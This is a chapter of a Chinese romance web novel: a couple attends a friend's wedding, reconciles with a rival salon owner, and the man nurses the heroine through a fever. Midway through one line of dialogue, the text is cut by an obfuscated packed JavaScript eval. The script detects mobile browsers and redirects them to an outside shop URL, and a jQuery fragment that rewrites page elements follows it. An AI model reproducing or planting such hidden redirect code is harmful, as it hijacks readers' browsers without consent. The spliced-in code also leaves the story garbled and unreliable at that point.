工作日就这么充实而匆忙地过去,转眼来到周六。
秦阑珊留出了时间,要去参加徐月静和曹先生的婚礼。
镜子前,秦阑珊换上了白色披肩长裙,没有过多装饰,却将她的身段勾勒得恰到好处。而傅仁钰,则穿着一身经典黑色西装,气场矜贵。
“他们本科毕业就领证了,有一个儿子,非常恩爱,婚礼是才补办的。”秦阑珊提前介绍道。
“你了解得这么清楚,不请你当伴娘真是可惜了。”傅仁钰垂眸看她,惋惜道。
“不用这么正式,”秦阑珊娇笑道,“我也是通过朋友圈了解的。”
“是么?她什么也没跟你说。”傅仁钰问道。
“她和我提起过老公是外地人,经过努力奋斗,目前月薪四万加。”秦阑珊如实道。
“看样子她认为他值得炫耀?”傅仁钰不咸不淡地问。
“有句丈夫写给太太的诗,贤妻扶我凌云志,我还贤妻万两金,说的就是他们的婚姻。”秦阑珊羡慕地说
“那我们呢?”傅仁钰忍不住问。
“什么?”
“如果我们结婚,有诗句是写给我们的婚姻的吗?”
“傅仁钰!”秦阑珊羞恼的拳头轻轻地打在他胸前,当作对他的警告,“我们是去参加婚礼的,不是去砸场子的,能不能正经点。”
“好好好,我知道了。”傅仁钰轻笑道。
婚礼酒店的宴会厅入口,衣香鬓影,秦阑珊挽着傅仁钰的手臂,步履从容地踏进这片喧嚣。
没走几步,就看到新娘徐月静和新郎曹叙在迎接来宾。徐月静一身脱俗的纯白婚纱,与平常成熟的装扮有非常大的差别,看得出是经过特别的准备,而曹叙长得也是十分帅气,两人很是般配。
“阑珊!你可算来了!”徐月静放下矜持的姿态,热情地迎上去,目光却黏在了傅仁钰身上,“这位是……不介绍一下吗?”
秦阑珊笑得温婉,落落大方地开口:“徐月静,新婚快乐。这是我男朋友,傅仁钰。“
曹叙很有眼力见,主动上前和傅仁钰打招呼,“你好。“
傅仁钰配合地微微颔首,“恭喜。”
“我们之前在同学会见过哦,当时你和阑珊还没在一起呢,”徐月静语气不自觉地带上了几分小心翼翼,“你们什么时候好上的?“
秦阑珊正想回答,傅仁钰却抢先说,“我们相处得一直都很好,非要说什么时候的话,已经很久了。“
哪有很久?明明才一个月。秦阑珊心里很疑惑,但她能清晰地感受到臂弯里傅仁钰地手臂肌肉微微绷紧,想到他这么说肯定也有些紧张,于是她指尖轻轻在他臂上安抚性地一点。
“是啊,已经很久了呢。“她配合着傅仁钰说。
“哟,看到你们挺好的我真开心。“徐月静客套地笑道。
曹叙则伸出手臂,邀请他们进入宴客厅,“里面请。”
两人找了屏幕附近的位置坐,观赏他们婚礼出发前拍的视频,秦阑珊拿起手机拍了一张照片,准备发朋友用。
仪式很快开始了,小儿子扮作花童提着她的裙摆,徐月静父亲牵着她的手,把新娘交到曹叙手中。
两人洋溢着幸福的笑容,在众人面前宣读誓言,交换戒指。
傅仁钰微微侧头听秦阑珊耳语,顺手将秦阑珊手边那杯没动过的香槟换成温热的果汁,动作自然流畅,仿佛这种呵护已经可入本能。他甚至没怎么看台上,所有的注意力都在身边人身上,全部听秦阑珊在一旁介绍。
“哇,真漂亮。”
“他们交换戒指了!”
“好甜蜜!”
敬酒环节到了秦阑珊这桌,徐月静和曹叙举着酒杯走过来,“我开车,不能喝酒,以茶代酒。”傅仁钰对着新人示意,说完,便将杯中茶一饮而尽,动作干脆优雅。
秦阑珊始终微笑着,没有说话。
等新人走远,觥筹交错间,秦阑珊突然瞥到一个熟人。
她低头凑到傅仁钰耳边说,小声说:“韩羽,桃夭的老板,也来了。”
“在哪?”傅仁钰问。
“不在这边,在那桌。”秦阑珊放眼望去,韩羽正静静地在一个角落里。傅仁钰跟随着她的目光,大概确定了具体方向。
“我们主动去找他吧。”傅仁钰道。
有傅仁钰在,秦阑珊很安心,于是答应道:“好。“
韩羽穿着一身浅灰色西装,面料考究,发型是仔细打理过的,眼睛则带着精明的笑意。他创办的桃夭美容院最近经常黑临江仙的产品,还蹭秦阑珊的流量。
“韩总,好久不见。“秦阑珊举止得体地走到韩羽身边,打招呼道。
韩羽见到两人,有一丝惊讶,但圆滑的他很快调整了僵硬笑容,亲昵地说:“秦小姐,幸会,没想到能在这里遇见你。”
“自打毕业之后,我们就没见过了。”秦阑珊自然地向他碰杯,喝了口果汁。
“是啊,很多年的老同学了。”韩羽也浅酌了一口酒,他的目光越过秦阑珊,落在一旁的傅仁钰身上,伸出手道,“这位定然是傅总了,久仰大名,我是韩羽,桃夭的创始人。“
傅仁钰礼节性地与他虚握一下,淡淡道:“幸会。“
“韩总,你在网上可没有现实生活中那么好说话。“秦阑珊弯腰笑道。
“是吗?我倒是经常上网,可是没有到处留评论。“韩羽否认道。
“我直播的时候经常有桃夭的水军引流。“秦阑珊直白地说。
“哦这样啊,那是,那可能是,销售部的问题,”韩羽额角上微微出汗,脸上还是保持着笑意,”我回去问问他们。”
“多谢韩总,”秦阑珊与他再次碰杯,“以后有什么我能帮忙的地方也请和我说。“
她顿了顿,唇角泛起一丝带着怀念的笑意,“大二那年,我们在解剖学课上分到同一组,为了弄懂那条神经走向,一起在实验室熬到凌晨,那时候我们可是最好的搭档。”
韩羽紧绷的肩膀几不可察地放松了些许,他沉默地点了点头,那段纯粹为了医学知识而并肩努力的时光,是无法磨灭的共同记忆。
傅仁钰站在秦阑珊身侧,他没有提及任何商业竞争,只是淡淡地补充了一句,目光平和:“以前很美好,现在大家也都在自己的路上努力,没有谁对谁错。”
这句话给足了韩羽面子。
韩羽深吸了一口气,再看向秦阑珊时,眼神里的复杂情绪渐渐沉淀下来。
“傅总说的有道理
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191816|197084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,”韩羽的声音比刚才低沉了些,却少了许多刻意的距离感,“那时候,我们都没想到会走到今天。”
韩羽举起酒杯,朝向秦阑珊,也朝向傅仁钰。虽然他没有说抱歉,也没有提合作,但一切都在酒里,谁喝的多谁的诚意最大。
韩羽一饮而尽,举着空酒杯示意。
“那我们就等韩总的好消息了。”说着,秦阑珊就添加了韩羽的微信。
“好的,没问题。”韩羽通过了好友请求。
这一刻,他们好像又回到了纯真的大学时代。
秦阑珊其实对网上桃夭的攻击没什么信心,但现在却觉得并无大碍。
参加完徐月静的婚礼,秦阑珊坐上了傅仁钰的车。
“回家,还是去店里?”傅仁钰问。
“我想回家休息会,晚点再去店里看看。”胃里吃了很多东西,秦阑珊困倦地说道,她决定在傅仁钰车上小睡一会儿。
傅仁钰贴心地把毯子铺在秦阑珊身上,还打开了空调。
睡意袭来,秦阑珊很快进入了梦乡。
傅仁钰开车开到秦阑珊小区时,秦阑珊还在睡觉。傅仁钰唤了唤她,她不醒,正觉得奇怪,用手摸了摸她的额头,烫得厉害。
春寒料峭,今天秦阑珊穿得薄,酒店也没有开空调,就着凉了。
他利落地将她打横抱起,按电梯走到她的家,从她的包包里拿出钥匙开门,然后径直走向卧室,期间秦阑珊醒来过一次,想说自己可以走,却连挣扎的力气都没有,只能软软地靠在他怀里,嗅着他身上熟悉的雪松气息。
他把她塞进柔软的被子里,仔细掖好被角,再用浸了温水的软毛巾,一遍遍擦拭她的额头和脖颈。
物理退烧的方法似乎只起到一点点的作用,傅仁钰还是选择在外卖软件上点了退烧药。
过了一会儿,外卖小哥便把药送到门口。
喂秦阑珊吃药时,傅仁钰先试了水温才将水杯和药片递到她唇边,另一只手稳稳地托住她的后背,让秦阑珊在迷迷糊糊中吞下了药片。
夜里,秦阑珊睡得极不踏实,忽冷忽热,虽然意识模糊,但还是感觉到有一个温暖坚实的怀抱始终围绕着她。当她冷得发抖时,那怀抱会收紧,用体温捂暖她,当她踢开被子喊热时,那怀抱又会耐心地帮她重新盖好被子。
天快亮时,秦阑珊的烧终于退了。她昏昏沉沉地睁开眼,在朦胧的晨光中,看到傅仁钰合衣靠在床头,熬夜的眼下有淡淡的青影,平日里一丝不苟的头发也有些凌乱。
他睡得很浅,她只是轻轻一动,他便立刻惊醒。
“还难受吗?”傅仁钰的嗓音带着沙哑,伸手探向她的额头确认温度。
秦阑珊摇了摇头,看着他难得的憔悴模样,心头又酸又软。她刚想说点什么,他却已起身,走向厨房。
不一会儿,傅仁钰端着一碗白粥回来,小心翼翼地吹凉,舀了一勺递到她嘴边。
“以后不舒服要马上告诉我。”他用不容置疑的眼神看着她。
秦阑珊软软地“嗯”了一声,就着他的手,喝下那口温热的粥,感觉那股暖意,从喉咙一直流进了心田。
或许,官宣是个不错的选择呢?秦阑珊静静地注视着他喂自己粥喝,忍不住想。